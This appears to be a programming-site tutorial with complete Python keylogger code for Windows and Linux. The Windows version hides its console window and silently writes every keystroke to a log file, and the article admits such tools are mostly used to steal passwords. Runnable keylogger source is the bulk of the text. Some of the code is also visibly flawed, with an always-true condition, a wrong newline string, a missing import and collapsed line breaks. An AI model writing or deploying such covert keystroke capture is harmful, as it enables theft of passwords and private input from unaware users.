Keystroke logging, is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing.
These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usages but more often then not it is used for malicious intents like stealing passowrds.
This article illustrates designing keylogger for windows and linux.
Keylogger for Windows
Download some python libraries
1) pywin32
2) pyhook‘
Following is the code to create keylogger in python
# Python code for keylogger # to be used in windows import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #open output.txt to read current keystrokes f = open('c:\output.txt', 'r+') buffer = f.read() f.close() # open output.txt to write current + new keystrokes f = open('c:\output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() # create a hook manager object hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages() |
Save the file in C:\ as Keylogger.py and run thepython file
Output:
The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.
Keylogger in Linux
pyxhook requires python-xlib. Install it if you don’t have it already.
sudo apt-get install python-xlib
Download pyxhook library
# Python code for keylogger # to be used in linux import os import pyxhook # This tells the keylogger where the log file will go. # You can set the file path as an environment variable ('pylogger_file'), # or use the default ~/Desktop/file.log log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log') ) # Allow setting the cancel key from environment args, Default: ` cancel_key = ord( os.environ.get( 'pylogger_cancel', '`' )[0] ) # Allow clearing the log file on start, if pylogger_clean is defined. if os.environ.get('pylogger_clean', None) is not None: try: os.remove(log_file) except EnvironmentError: # File does not exist, or no permissions. pass #creating key pressing event and saving it into log file def OnKeyPress(event): with open(log_file, 'a') as f: f.write('{}\n'.format(event.Key)) # create a hook manager object new_hook = pyxhook.HookManager() new_hook.KeyDown = OnKeyPress # set the hook new_hook.HookKeyboard() try: new_hook.start() # start the hook except KeyboardInterrupt: # User cancelled from command line. passexcept Exception as ex: # Write exceptions to the log file, for analysis later. msg = 'Error while catching events:\n {}'.format(ex) pyxhook.print_err(msg) with open(log_file, 'a') as f: f.write('\n{}'.format(msg)) |
Output:
The keylogger will be started in the background and save all the data on the file.log file “/home/akash/Desktop”.
References
https://en.wikipedia.org/wiki/Keystroke_logging
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